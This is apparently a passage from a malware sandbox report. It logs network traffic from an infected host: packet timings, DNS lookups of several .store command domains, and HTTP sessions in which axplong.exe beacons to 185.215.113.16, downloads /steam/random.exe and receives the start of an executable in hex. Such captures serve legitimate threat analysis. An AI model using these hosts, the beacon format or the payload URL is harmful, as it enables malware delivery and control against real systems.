Nov 1, 2024 12:35:09.144669056 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.144685030 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.144704103 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.144714117 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.145853043 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.145869970 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.145908117 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.288140059 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.288350105 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.289635897 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.289648056 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.289879084 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.298144102 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298180103 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298192024 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298270941 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.298270941 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.298281908 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298352003 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298362970 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298373938 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298425913 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.298425913 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.298484087 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298495054 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298505068 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298516035 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298527002 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298537016 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298547983 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298548937 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.298557997 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298568010 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298568964 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.298577070 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.298578978 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298593044 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.298603058 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.298615932 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.299155951 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.299339056 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299350023 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299360037 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299371958 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299381971 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299391985 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299398899 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.299402952 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299412966 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.299413919 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299424887 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299434900 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.299437046 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299448013 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299458981 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299459934 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.299468994 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299490929 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.299510002 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.299971104 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299983025 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.299993038 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300004959 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300015926 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300026894 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300029993 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300029993 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300039053 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300049067 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300049067 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300064087 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300076962 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300084114 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300096035 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300096989 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300106049 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300116062 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300118923 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300141096 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300168991 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300321102 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300333023 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300338984 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300344944 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300358057 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300370932 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300380945 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300381899 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300393105 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300403118 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300405025 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300416946 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300417900 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300427914 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300437927 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300440073 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300451994 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.300462008 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300482988 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.300534010 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.303263903 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303277969 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303287983 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303363085 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.303363085 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.303402901 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303414106 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303425074 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303436041 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303447962 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303447962 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.303468943 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.303642035 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303653955 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303663969 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303668976 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.303674936 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303689957 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303713083 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.303797960 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.303940058 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303951979 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303962946 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.303989887 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304011106 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304070950 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304083109 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304091930 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304102898 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304114103 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304125071 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304131985 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304143906 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304145098 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304152012 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304156065 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304168940 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304177999 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304198027 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304267883 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304656982 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304670095 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304681063 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304691076 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304702997 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304713011 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304713964 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304727077 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304893017 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304903984 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304913998 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304920912 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304924965 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304933071 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304935932 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304961920 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.304969072 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.304981947 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.305083990 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.335199118 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.335199118 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.335262060 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.335674047 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.335711956 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.336138964 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.336184025 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.339451075 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.339497089 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.339708090 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.339756012 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.339929104 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.339962959 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.339977026 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.339984894 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.340110064 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.340152025 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.340173960 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.340286970 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.340333939 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.346311092 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.346524954 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.346565962 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.346595049 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.346633911 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.346859932 CET	50059	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:09.351752996 CET	443	50059	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:09.452553034 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.452646971 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.452670097 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.452697039 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.452753067 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.452769041 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.452785969 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.452840090 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.452884912 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.452898026 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453018904 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453032970 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453042984 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453048944 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.453053951 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453067064 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453089952 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.453089952 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.453172922 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.453270912 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453320026 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453332901 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453355074 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.453418970 CET	50057	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:09.453459024 CET	80	50057	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:09.453469038 CET	80	50057	185.215.113.16	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 12:33:11.120446920 CET	192.168.2.7	1.1.1.1	0xa39b	Standard query (0)	time.windows.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.575442076 CET	192.168.2.7	1.1.1.1	0x5359	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.598252058 CET	192.168.2.7	1.1.1.1	0xbced	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.637871981 CET	192.168.2.7	1.1.1.1	0x9ffe	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.651329041 CET	192.168.2.7	1.1.1.1	0xe8df	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.665560961 CET	192.168.2.7	1.1.1.1	0x1fe8	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:28.909667969 CET	192.168.2.7	1.1.1.1	0x9dd3	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:28.923923969 CET	192.168.2.7	1.1.1.1	0x855d	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:28.935396910 CET	192.168.2.7	1.1.1.1	0x24de	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:28.947122097 CET	192.168.2.7	1.1.1.1	0xd017	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:46.341049910 CET	192.168.2.7	1.1.1.1	0x7c82	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:46.375854969 CET	192.168.2.7	1.1.1.1	0xeecc	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:46.393256903 CET	192.168.2.7	1.1.1.1	0xbc12	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:46.410676956 CET	192.168.2.7	1.1.1.1	0x7d0a	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:57.861247063 CET	192.168.2.7	1.1.1.1	0x7776	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:57.881083965 CET	192.168.2.7	1.1.1.1	0x31fb	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:57.897505045 CET	192.168.2.7	1.1.1.1	0x1e50	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:57.911710978 CET	192.168.2.7	1.1.1.1	0x65e4	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 12:33:11.127469063 CET	1.1.1.1	192.168.2.7	0xa39b	No error (0)	time.windows.com	twc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 12:33:13.097435951 CET	1.1.1.1	192.168.2.7	0xec1d	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 12:33:13.097435951 CET	1.1.1.1	192.168.2.7	0xec1d	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.593103886 CET	1.1.1.1	192.168.2.7	0x5359	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.611711025 CET	1.1.1.1	192.168.2.7	0xbced	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.647725105 CET	1.1.1.1	192.168.2.7	0x9ffe	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.662381887 CET	1.1.1.1	192.168.2.7	0xe8df	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.679975033 CET	1.1.1.1	192.168.2.7	0x1fe8	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:13.679975033 CET	1.1.1.1	192.168.2.7	0x1fe8	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:28.919699907 CET	1.1.1.1	192.168.2.7	0x9dd3	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:28.932950974 CET	1.1.1.1	192.168.2.7	0x855d	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:28.944856882 CET	1.1.1.1	192.168.2.7	0x24de	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:28.956029892 CET	1.1.1.1	192.168.2.7	0xd017	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:46.361783981 CET	1.1.1.1	192.168.2.7	0x7c82	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:46.385394096 CET	1.1.1.1	192.168.2.7	0xeecc	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:46.403357029 CET	1.1.1.1	192.168.2.7	0xbc12	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:46.426104069 CET	1.1.1.1	192.168.2.7	0x7d0a	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:57.878201008 CET	1.1.1.1	192.168.2.7	0x7776	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:57.894936085 CET	1.1.1.1	192.168.2.7	0x31fb	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:57.907794952 CET	1.1.1.1	192.168.2.7	0x1e50	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 12:34:57.922460079 CET	1.1.1.1	192.168.2.7	0x65e4	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49956	185.215.113.16	80	2092	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 12:34:02.731542110 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 1, 2024 12:34:03.622545004 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 1, 2024 12:34:03.668210983 CET	316	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 31 41 45 34 31 43 46 46 38 46 44 33 33 43 32 30 41 41 31 42 39 30 37 30 43 34 43 37 31 32 46 44 41 42 39 31 42 36 35 39 30 39 30 46 46 31 45 36 45 38 33 35 33 35 42 30 39 36 44 36 38 46 41 30 35 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF1AE41CFF8FD33C20AA1B9070C4C712FDAB91B659090FF1E6E83535B096D68FA05
Nov 1, 2024 12:34:04.297420025 CET	289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 33 0d 0a 20 3c 63 3e 31 30 30 31 35 30 38 30 30 31 2b 2b 2b 65 33 31 32 64 33 36 31 31 65 66 34 39 66 61 31 66 34 35 61 35 66 65 61 39 66 35 63 37 63 66 31 38 32 31 36 65 35 30 61 64 63 32 64 64 30 62 65 62 65 65 64 32 32 66 31 62 32 65 38 62 32 34 34 36 66 65 31 65 39 32 38 37 36 36 61 64 61 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 63 <c>1001508001+++e312d3611ef49fa1f45a5fea9f5c7cf18216e50adc2dd0bebeed22f1b2e8b2446fe1e928766ada#<d>0
Nov 1, 2024 12:34:04.301079988 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 1, 2024 12:34:04.577694893 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 11:34:04 GMT Content-Type: application/octet-stream Content-Length: 2126336 Last-Modified: Fri, 01 Nov 2024 10:53:58 GMT Connection: keep-alive ETag: "6724b346-207200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 